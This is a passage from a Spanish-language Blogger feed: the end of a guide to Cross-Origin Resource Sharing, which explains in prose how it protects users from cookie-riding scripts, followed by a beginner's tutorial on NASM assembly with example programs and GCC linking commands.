El Internet Explorer sólamente implementa una parte del estándar Cross-Origin Resource Sharing. Puede utilizarse para peticiones sencillas (obtener datos RSS o widgets para presentar en nuestra página) pero para comunicaciones complejas presenta las siguientes limitaciones importantes:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;En ningún caso permite comunicación entre HTTPS y HTTP o viceversa&lt;/li&gt;
&lt;li&gt;En ningún caso permite enviar cookies o información de autentificación&lt;/li&gt;
&lt;li&gt;No permite peticiones con verificación previa (preflighted)&lt;/li&gt;
&lt;li&gt;Sólo soporta &lt;em&gt;Content-Type: text/plain &lt;/em&gt;&lt;/li&gt;
&lt;li&gt;No permite añadir cabeceras HTTP personalizadas&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Puedes obtener información más detallada en los documentos: &lt;a href=&quot;http://blogs.msdn.com/b/ieinternals/archive/2010/05/13/xdomainrequest-restrictions-limitations-and-workarounds.aspx&quot;&gt;XDomainRequest – Restrictions, Limitations and Workarounds&lt;/a&gt; y &lt;a href=&quot;http://msdn.microsoft.com/library/cc709423.aspx&quot;&gt;Client-side Cross-domain Security&lt;/a&gt;. En este último,Microsoft intenta explicar las razones por las que han elegido esta implementación y estas limitaciones.&lt;br /&gt;
&lt;span 3=&quot;3&quot; px=&quot;px&quot;&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;
&lt;span 3=&quot;3&quot; px=&quot;px&quot;&gt;&lt;strong&gt;¿Que seguridad aporta CORS?&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
En principio puede parecer que CORS no aporta mucha seguridad. Se basaen una cabecera ORIGIN que el servidor comprueba y en otras cabeceras derespuesta que el comprueba navegador. Enviar una cabecera ORIGIN falsaes algo trivial, al alcance de cualquiera y utilizar un navegadormodificado que no bloquee las respuestas, también.&lt;br /&gt;
Sin embargo,el propósito de este estándar, es proteger al usuario que está navegandoen su ordenador, con su navegador, de scripts maliciosos que intentaránacceder a páginas web sin que lo sepa, suplantando su identidad.Supongamos un caso con los siguientes actores:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Inocencio, el usuario que navega tranquilamente por internet desde su ordenador&lt;/li&gt;
&lt;li&gt;Malone, un &lt;em&gt;hacker&lt;/em&gt; con su propio sitio web de descargas &lt;em&gt;&lt;a href=&quot;http://www.blogger.com/www.pelisgratis.es&quot;&gt;www.pelisgratis.es&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;La tienda online &lt;em&gt;&lt;a href=&quot;http://www.blogger.com/www.tienda.com&quot;&gt;www.tienda.com&lt;/a&gt;&lt;/em&gt; en la que Inocencio tiene una cuenta&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Inocencio visita la web &lt;em&gt;&lt;a href=&quot;http://www.blogger.com/www.pelisgratis.es&quot;&gt;www.pelisgratis.es&lt;/a&gt;&lt;/em&gt; que le ha recomendado unamigo. La página inicial de ‘Pelis Gratis’ presenta el listado depelículas e incluye también un &lt;em&gt;script&lt;/em&gt; en JavaScript que, sin queInocencio lo sepa, intenta utilizar AJAX para conectarse a la conocidatienda online &lt;em&gt;&lt;a href=&quot;http://www.blogger.com/www.tienda.com&quot;&gt;www.tienda.com&lt;/a&gt;&lt;/em&gt;.&lt;br /&gt;
Si el &lt;em&gt;hacker&lt;/em&gt; tiene suerte y elusuario ha abierto sesión en la tienda recientemente, aún tendrá la&lt;em&gt;cookie&lt;/em&gt; de sesión válida y el servidor le reconoce como Inocencio. Malonepuede utilizar su &lt;em&gt;script&lt;/em&gt; para realizar cualquier cosa o robar cualquierinformación de la cuenta de Inocencio. Esto es lo que trata deimpedirse mediante la &lt;strong&gt;Política del Origen Común&lt;/strong&gt; y el estándar&lt;strong&gt;Compartición de Recursos entre Origenes&lt;/strong&gt;&lt;br /&gt;
El caso del &lt;em&gt;hacker&lt;/em&gt; usando un navegador modificado no presenta los mismos problemas porqueno tendría la &lt;em&gt;cookie&lt;/em&gt; del usuario para suplantarle. El acceso seprotegería mediante la comprobación de credenciales (usuario/password).&lt;br /&gt;
La modificación de cabeceras en el trayecto de la información, entre el usuario y el destino, puede protegerse utilizando HTTPS.&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;&lt;i&gt;Fuente:&lt;/i&gt;&lt;/b&gt; Quimeraazul.com&lt;/u&gt;</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/9013023006559281504/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/09/guia-cross-origin-resource-sharing-la.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/9013023006559281504'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/9013023006559281504'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/09/guia-cross-origin-resource-sharing-la.html' title='Cross-Origin Resource Sharing'/><author><name>Yo-Mismo</name><uri>http://www.blogger.com/profile/16808768813534764737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-4581471506851392961</id><published>2012-08-02T13:44:00.001-07:00</published><updated>2012-08-02T13:44:08.203-07:00</updated><title type='text'>Introducción a Netwide Assembler, Segunda parte</title><content type='html'>&lt;b&gt;1. Estructuras de control de proceso&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt; Qué son&lt;/li&gt;
&lt;li&gt; Ejemplo&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
  &lt;b&gt;2. Subprocesos&lt;/b&gt;&lt;ul&gt;
&lt;li&gt; La pila&lt;/li&gt;
&lt;li&gt; Argumentos de pila&lt;/li&gt;
&lt;li&gt; Llamada y retorno&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
  &lt;b&gt;3. Sintaxis NASM&lt;/b&gt;&lt;ul&gt;
&lt;li&gt; Funciones globales&lt;/li&gt;
&lt;li&gt; Carga de funciones externas&lt;/li&gt;
&lt;li&gt; Secciones&lt;/li&gt;
&lt;li&gt; Etiquetas&lt;/li&gt;
&lt;li&gt; Esqueleto de un programa&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
  &lt;b&gt;4. NASM y GCC&lt;/b&gt;&lt;ul&gt;
&lt;li&gt; Ejemplos&lt;/li&gt;
&lt;li&gt; Ejercicio final&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
    &lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;Estructuras de control de proceso&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Qué son:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;Las estructuras de control son procesos a alto nivel que realiza el compilador, con las que no contamos en ASM (A bajo nivel).&lt;/span&gt;&lt;br /&gt;
  &lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;Estas estructuras pueden ser bucles (While, For, ...), comparaciones (if’s) y de ramificación.&lt;/span&gt;&lt;br /&gt;
  &lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Ejemplo:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;Ejemplo de estos tres últimos tipos, en un comparador de cadenas:&lt;/span&gt;&lt;br /&gt;
  &lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot;&gt;
 
 &lt;pre class=&quot;bbcode_code&quot; style=&quot;height: 372px;&quot;&gt;global main
   
  extern printf
   
  segment .data
  smal  DB         `Diferentes\0`
  sbien DB         `Iguales\0`
  Cadena1         DB         `aaaa\0`
  Cadena2         DB         `aaaa\0`
   
  segment .bss
  len1  resb         12
  len2  resb         12
   
  segment .text
  main:
           PUSH      EBP
           MOV         EBP,ESP
           MOV         [ESP],dword Cadena1
           CALL         longitud
           MOV         dword[len1],EAX
           MOV         [ESP],dword Cadena2
           CALL         longitud
           MOV         dword[len2],EAX
           MOV         EAX,dword[len1]
           MOV         ECX,dword[len2]
           CMP         EAX,ECX
           JNE         Mal
           XOR         ECX,ECX
           MOV         EDX,dword[len1]
  Buclecmp:
           CMP         EDX,ECX
           JE         Bien
           MOV         AL,byte[Cadena1+ecx]
           MOV         BL,byte[Cadena2+ecx]
           CMP         AL,BL
           JNE         Mal
           INC         ECX
           JMP         Buclecmp
  Mal:
           PUSH      smal
           CALL       printf
           LEAVE
           RET
  Bien:
           PUSH      sbien
           CALL       printf
           LEAVE
           RET
  longitud:
           PUSH      EBP
           MOV         EBP,ESP
           SUB         ESP,4
           XOR         ECX,ECX
  BUCLE:
           LEA         EAX,[EBP+8]
           MOV         EAX,DWORD [EAX]
           MOV         BL,byte[EAX+ECX]
           CMP         BL,0
           JE         Retornar
           INC         ECX
           JMP         BUCLE
  Retornar:
           MOV         EAX,ECX
           LEAVE
           RET&lt;/pre&gt;
&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;Subprocesos&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;Estamos por conocer más de cerca las instrucciones PUSH y POP.&lt;/span&gt;&lt;br /&gt;
  &lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;La pila es una lista de memoria en la que podemos 
manejarnos. Para que no se creen confusiones, se trata del Stack. Cuando
 realizamos PUSH estamos cargando datos a la pila, mientras que con POP 
lo descargamos. PUSH empuja un dato, mientras que POP se encarga del 
último (L.I.F.O)&lt;/span&gt;&lt;br /&gt;
  &lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;La instrucción PHSA empuja el contenido de los registros a la pila.&lt;/span&gt;&lt;br /&gt;
  &lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;Al realizar una llamada a un subproceso (Función) 
mediante CALL, éstos deben estar de acuerdo en el número y valor de 
parámetros que vamos a precisar (Argumentos).&lt;/span&gt;&lt;br /&gt;
  &lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;Los argumentos se almacenan en EBP+8, EBP+0xC y 
sucesivamente. Más allá de los parámetros recividos estaríamos tocando 
cosas que no deberíamos, y ya podrías imaginar el resultado.&lt;/span&gt;&lt;br /&gt;
  &lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;Un ejemplo de esto lo podemos ver en el ejemplo anterior, en la llamada al subproceso longitud (Función longitud)&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot;&gt;
 &lt;div class=&quot;bbcode_description&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;pre class=&quot;bbcode_code&quot; style=&quot;height: 48px;&quot;&gt;         MOV         [ESP],dword Cadena1 ;Cargar argumento, PUSH
         CALL         longitud&lt;/pre&gt;
&lt;/div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;[etc]&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot;&gt;
 &lt;div class=&quot;bbcode_description&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;pre class=&quot;bbcode_code&quot; style=&quot;height: 228px;&quot;&gt;longitud:
           PUSH      EBP
           MOV         EBP,ESP
           SUB         ESP,4
           XOR         ECX,ECX
  BUCLE:
           LEA         EAX,[EBP+8]         ;Obtenemos direccion
           MOV         EAX,DWORD [EAX] ;Leemos puntero
           MOV         BL,byte[EAX+ECX]
           CMP         BL,0
           JE         Retornar
           INC         ECX
           JMP         BUCLE
  Retornar:
           MOV         EAX,ECX
           LEAVE
           RET&lt;/pre&gt;
&lt;/div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;El valor retornado siempre es almacenado en EAX. Realmente depende del programador, pero por regla general es así&lt;/span&gt;&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;Sintaxis NASM&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Declaraciones globales&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
  &lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;Funciones declaradas como globales, por ejemplo al usar C y  NASM&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot;&gt;
 &lt;div class=&quot;bbcode_description&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;pre class=&quot;bbcode_code&quot; style=&quot;height: 48px;&quot;&gt;Global main         ;Obligatorio
  Global funcion&lt;/pre&gt;
&lt;/div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Carga de funciones externas&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
  &lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;Cargar funciones externas.&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot;&gt;
 &lt;div class=&quot;bbcode_description&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;pre class=&quot;bbcode_code&quot; style=&quot;height: 60px;&quot;&gt;Extern printf
  Extern scanf
  Extern funcionpropia&lt;/pre&gt;
&lt;/div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Secciones&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
  &lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;Son muchas, pero aquí van las más comunes.&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot;&gt;
 &lt;div class=&quot;bbcode_description&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;pre class=&quot;bbcode_code&quot; style=&quot;height: 72px;&quot;&gt;.BSS – Datos no inicializados (Variables)
  .DATA – Datos inicializados (Constantes)
  .TEXT – Texto
.CODE – Código&lt;/pre&gt;
&lt;/div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Etiquetas&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
  &lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;Son labels que usamos para determinar el salto hacia otra línea de código (o dirección). Recuerda a GOTO, todo un clásico&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot;&gt;
&lt;pre class=&quot;bbcode_code&quot; style=&quot;height: 96px;&quot;&gt;&amp;nbsp;

Bucle:
           CMP         EAX,0
           JNE         Bucle
           JMP         Fin
  Fin:
           RET&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot;&gt;
&lt;/div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Esqueleto de un programa&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot;&gt;
 
 &lt;pre class=&quot;bbcode_code&quot; style=&quot;height: 228px;&quot;&gt;global main
   
  extern Funcionacargar
   
  segment .data
  constante         DB         `Valor\0`
   
  segment .bss
  variable         resb         1024         ;Longitud
   
  segment .text
  main:
           PUSH      EBP
           MOV         EBP,ESP
           SUB         ESP,4
           LEAVE
           RET&lt;/pre&gt;
&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;NASM y GCC, Ejemplo de uso&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;Dejo el análisis a vosotros para comprobar lo aprendido hasta ahora... Se que me quieres&lt;/span&gt;&lt;br /&gt;
    &lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Subprocesos externos:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;b.asm:&lt;/span&gt;&lt;br /&gt;&lt;div class=&quot;bbcode_container&quot;&gt;
&amp;nbsp;&lt;pre class=&quot;bbcode_code&quot; style=&quot;height: 276px;&quot;&gt;global main
   
  extern longitud
  extern printf
   
  segment .data
  ftoi   DB         `%i caracteres\0`
  Cadena         DB         `aaaaaaa\0`
   
  segment .text
  main:
           PUSH      EBP
           MOV         EBP,ESP
   
           MOV         [ESP],dword Cadena
           CALL         longitud
           PUSH      EAX
           PUSH      ftoi
           CALL       printf
           LEAVE
           RET&lt;/pre&gt;
&lt;/div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;b.c:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot;&gt;
 &lt;div class=&quot;bbcode_description&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;pre class=&quot;bbcode_code&quot; style=&quot;height: 96px;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
   
  int longitud(char *s1)
  {
      return strlen(s1);
  }&lt;/pre&gt;
&lt;/div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Compilación:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot;&gt;
 &lt;div class=&quot;bbcode_quote&quot;&gt;
  &lt;div class=&quot;quote_container&quot;&gt;
   
   
    nasm -f win32 -Wall --prefix _ b.asm&lt;br /&gt;
  gcc -o b b.obj b.c
   
  &lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Ejercicio final:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;Realizar una calculadora utilizando GCC y NASM, utilizando estructuras de control, subprocesos, retornos y la pila&lt;/span&gt;&lt;br /&gt;
  &lt;br /&gt;
  &lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;Datos finales:&lt;/span&gt; &lt;/b&gt;Esperen la siguiente versión. Puntos flotantes, estructuras, matrices, ...&lt;/span&gt;&lt;br /&gt;
